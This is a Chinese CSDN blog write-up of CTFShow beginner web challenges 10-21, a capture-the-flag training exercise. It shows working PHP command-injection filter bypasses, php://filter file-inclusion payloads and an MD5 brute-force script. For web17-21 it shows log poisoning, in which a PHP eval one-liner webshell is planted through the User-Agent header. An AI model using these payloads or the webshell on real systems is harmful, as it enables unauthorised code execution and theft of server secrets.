ctfshow 萌新web10-21

这篇博客详细介绍了CTFShow一系列Web挑战的解决过程,涉及命令注入和文件包含漏洞的利用。通过使用不同PHP函数如passthru()绕过过滤,结合base64编码、通配符等技巧获取flag。同时,还展示了如何通过日志文件包含来获取敏感信息。解题方法包括爆破、伪协议构造Payload等技术,揭示了Web安全中的常见攻击手段。
摘要由CSDN通过智能技术生成

ctfshow 萌新web10-21

web10

在这里插入图片描述

题目提示flag在congfig.php中

php中作为执行系统命令的函数:

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

源码中过滤了 system,exec,highlight 这三个常用的PHP命令执行函数,绕过过滤条件就可以使用 eval() 函数执行PHP代码了,我们使用其他的命令执行函数即可,这里使用 passthru()函数即可

payload: ?c=passthru('cat config.php');

显示页面为空格,查看网页源代码得flag

web11

在这里插入图片描述

与web10相比,此处多过滤了cat,用more代替cat即可

payload: ?c=passthru('more config.php');

显示页面为空格,查看网页源代码得flag

web12

在这里插入图片描述

由提示flag在config.php中,但是config.php被过滤,抓取文件内容的cat也被过滤

利用其它方法绕过过滤,命令执行函数passthru未被过滤可利用

cat可用tac或more(需要多一步查看网页源代码)替代

解法一:

config.php可先base64编码再解码方式绕过

payload: ?c=$a=base64_decode('Y29uZmlnLnBocA==');passthru("tac $a");

注意:这里函数内部要用双引号,如果是单引号,php语言无法处理达到你的目的

因为在php语言中单引号串和双引号串的处理是不同的。双引号串中的内容可以被解释而且替换,而单引号串中的内容总被认为是普通字符。也就是说,如果这里用了单引号的话,php会认为他就是一个普通的变量c,无法解释出系统命令cat的功能。

解法二:

通配符绕过

payload:

?c=passthru('tac ??????????');
?c=passthru('tac c*');
?c=passthru('tac *');

web13

在这里插入图片描述

新增;被过滤 可用?>代替绕过

解法一:

payload: ?c=passthru('tac *')?>

解法二:

passthru("ca''t `ls`")?>

Linux中,`` 作用是优先执行里面的内容,再把里面的内容传给外面的语句

web14

在这里插入图片描述

用include函数和伪协议构成Payload

include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php

(用?>代替;只能执行一次代码)

得到一段base64编码

在这里插入图片描述

解码得到flag

web15

在这里插入图片描述

与web14相比?>被过滤,但是;被放出来了,将web14中payload?>改为;即可

include$_GET[a];&a=php://filter/read=convert.base64-encode/resource=config.php

web16

在这里插入图片描述

由涉及md5比较

利用脚本爆破

import hashlib
#建立爆破的字典str
str='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890+-*/'
#从一个字符开始尝试,逐渐往下加
for i in str:
    for j in str :
        for k in str:
            s=hashlib.md5(('ctfshow'+i+j+k).encode()).hexdigest()
            #让ctfshow和字符i,j,k拼接在一起,转化为MD5值,hexdigest函数实现字符存储
            if s== 'a6f57ae38a22448c2f07f3f95f49c84e':#判断值是否符合条件
                print(i+j+k)#输出字符c的值

得到c的参数值:36d

payload:

?c=36d 

web17

在这里插入图片描述

c传参过滤掉php
思路:include文件包含,利用日志文件包含

访问日志文件:
?c=/var/log/nginx/access.log

在这里插入图片描述

发现日志文件记录了user-agent头,于是在该头中插入一句话木马:

<?php eval($_POST['a']);?> 

在这里插入图片描述

蚂剑链接发现flag

在这里插入图片描述

在这里插入图片描述

web18

同web17日志包含解出

web19

同web17日志包含解出

web20

同web17日志包含解出

web21

同web17日志包含解出

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值